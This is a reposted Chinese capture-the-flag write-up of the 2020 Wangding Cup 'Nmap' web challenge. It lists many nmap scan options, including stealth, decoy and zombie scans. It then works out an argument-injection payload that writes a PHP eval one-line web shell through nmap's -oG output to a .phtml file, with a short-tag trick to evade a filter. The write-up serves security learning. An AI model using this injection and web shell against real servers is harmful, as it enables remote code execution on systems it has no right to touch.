[網鼎杯 2020 朱雀組]Nmap


[網鼎杯 2020 朱雀組]Nmap

打開環境

image

這題是和nmap有關的,nmap這款工具是用來掃描網絡的,一般會拿來掃目標主機的端口或操作系統之類的,之前有用過,他有很多的命令可以使用,但之前沒有刻意去研究。

估計這題的后台就是用了一條簡單的拼接語句,類似於:"nmap".$cmd,之類的。

先抓個包看一下運行流程,首先index.php用了POST傳參傳過去一個host參數,然后本地又發起了一個GET請求,傳了一個參數f=90131,通過修改此參數,發現PHP報錯 simplexml_load_file(): I/O warning : failed to load external entity "xml/90132" in /var/www/html/result.php on line 23

simplexml_load_file() 函數是把 XML 文檔載入對象中,所以初步猜想,應該是nmap將掃描的結果保存為了xml文檔,然后PHP再打開該文檔解析,后台命令可能為nmap -oX 127.0.0.1 ./xml/????

這里就需要稍微了解一下nmap的指令了,稍微在網上收集了一些常用命令,以便后面查閱:

nmap -v 127.0.0.1							給出了遠程機器更詳細的信息,顯示冗余信息(掃描細節)
nmap -iL nmaptest.txt 						運行帶“iL” 選項的nmap命令來掃描文件中列出的所有IP地址
nmap 192.168.0.* --exclude 192.168.0.100	使用“-exclude”選項來排除某些你不想要掃描的主機
nmap -A 192.168.0.101						啟用操作系統和版本檢測,腳本掃描和路由跟蹤功能
nmap -O 127.0.0.1							使用選項“-O”和“-osscan-guess”也幫助探測操作系統信息
nmap -sA 192.168.0.101						掃描遠程主機以探測該主機是否使用了包過濾器或防火牆
nmap -PN 192.168.0.101						掃描主機檢測其是否受到數據包過濾軟件或防火牆的保護
nmap -sP 192.168.0.*						找出網絡中的在線主機
nmap -F 192.168.0.101						快速掃描,僅掃描nmap-services文件中的端口而避開所有其它的端口
nmap -f 192.168.96.4						使用小數據包發送,避免被識別出
nmap -r 192.168.0.101						不會隨機的選擇端口掃描
nmap -p 80,443 192.168.0.101				使用“-P”選項指定你想要掃描的端口
nmap -sV 192.168.0.101						查找主機服務版本號
nmap -PS 192.168.0.101						使用TCP ACK和TCP Syn方法來掃描遠程主機(防火牆會阻斷標ICMP包)
nmap -Pn 192.168.96.4					  	目標機禁用ping,繞過ping掃描
nmap -sn 192.168.96.4						對目標進行ping檢測,不進行端口掃描(發送四種報文確定目標是否存活)
nmap -sS 192.168.0.101						執行一次隱蔽的掃描,安全,快
nmap -sT 192.168.0.101						使用TCP Syn掃描最常用的端口,不安全,慢
nmap -sN 192.168.0.101						執行TCP空掃描以騙過防火牆
nmap -sI 僵屍ip 目標ip						使用僵屍機對目標機發送數據包
nmap 192.168.96.4 -oX myscan.xml			對掃描結果另存在myscan.xml
nmap -T1~6 192.168.96.4						設置掃描速度,一般T4足夠
nmap –mtu <size> 192.168.96.4				發送的包大小,最大傳輸單元必須是8的整數
nmap -D <假ip> 192.168.96.4					發送參雜着假ip的數據包檢測
繼續中斷掃描:
	nmap –oG 1.txt –v 192.168.1.1/24			-oG將掃描結果保存為TXT,Ctrl+C中斷掃描
	Nmap –resume 1.txt							作用:繼續掃描

看了很多資料后,知道了,nmap可以將掃描后的結果保存為文件,這個文件格式甚至可以自己決定,那豈不是可以直接嘗試寫一句話木馬了。。。。

把nmap保存文件的一些方法截下來:

image

本地測試了一些,nmap保存文件的方法

image

真刑啊,文件的后綴可以自己決定,文件內容里還包含了我們輸入的查詢內容。

回到題目,之前我們猜測了nmap 127.0.0.1 -oX ./xml/????

其中127.0.0.1是我們控制的,那我們嘗試改成

'<?php eval($_POST["pwd"]);?> -oG 1.php'

測試后發現被攔截了,可能是PHP關鍵字被攔截了,也可能是oG被禁用了,先試着繞php,后綴可以將php改成phtml

文件的內容<?php中的PHP如何替換上網去查了一下,解決方法是使用短標簽<?=

最終payload:

'<?= @eval($_POST["pwd"]);?> -oG 1.phtml'

如何最后就是去注入寫文件,蟻劍連接,讀flag,交flag,結束。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM